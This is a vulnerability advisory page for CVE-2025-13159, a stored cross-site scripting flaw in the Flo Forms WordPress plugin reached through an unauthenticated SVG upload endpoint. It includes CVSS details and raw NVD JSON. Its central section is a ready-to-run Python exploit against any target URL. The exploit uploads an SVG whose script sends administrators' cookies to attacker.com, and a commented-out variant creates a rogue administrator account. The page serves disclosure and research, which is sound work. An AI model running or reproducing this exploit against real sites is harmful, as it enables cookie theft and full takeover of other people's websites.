Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-13159 CVSS 7.1 HIGH

CVE-2025-13159

Published: 2025-11-21 08:15:55
Last Modified: 2026-04-15 00:35:42

Description

The Flo Forms – Easy Drag & Drop Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 1.0.43. This is due to the plugin allowing SVG file uploads via an unauthenticated AJAX endpoint (`flo_form_submit`) without proper file content validation. This makes it possible for unauthenticated attackers to upload malicious SVG files containing JavaScript that executes when an administrator views the uploaded file in the WordPress admin interface, leading to potential full site compromise.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Flo Forms plugin for WordPress <= 1.0.43

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13159 PoC - Malicious SVG File Upload # Target: WordPress site with Flo Forms plugin <= 1.0.43 import requests import sys # Malicious SVG payload with XSS svg_payload = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <script type="text/javascript"> // Steal admin cookies and send to attacker fetch('https://attacker.com/steal?c=' + btoa(document.cookie), {mode: 'no-cors'}); // Or create admin user // fetch('/wp-admin/admin-ajax.php', {method: 'POST', body: 'action=create_user&user_login=hacker&user_pass=P@ssw0rd&role=administrator'}); </script> </svg>''' def exploit(target_url): # Target WordPress site target = target_url.rstrip('/') # Upload endpoint (unauthenticated) upload_url = f"{target}/wp-admin/admin-ajax.php" files = { 'flo_form_submit': ('malicious.svg', svg_payload, 'image/svg+xml'), 'form_id': (None, '1'), 'action': (None, 'flo_form_submit') } try: print(f"[*] Uploading malicious SVG to {target}...") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] SVG file uploaded successfully!") print(f"[*] Response: {response.text}") print("[*] When admin views the SVG in WordPress admin, XSS will execute") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com") sys.exit(1) exploit(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13159", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:55.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flo Forms – Easy Drag & Drop Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 1.0.43. This is due to the plugin allowing SVG file uploads via an unauthenticated AJAX endpoint (`flo_form_submit`) without proper file content validation. This makes it possible for unauthenticated attackers to upload malicious SVG files containing JavaScript that executes when an administrator views the uploaded file in the WordPress admin interface, leading to potential full site compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/flo-forms/trunk/admin/class-flo-forms-admin.php#L821", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/flo-forms/trunk/includes/class-flo-forms.php#L301", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/flo-forms/trunk/public/class-flo-forms-public.php#L502", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8c529017-2fb9-4665-97a6-3ec062908299?source=cve", "source": "[email protected]"}]}}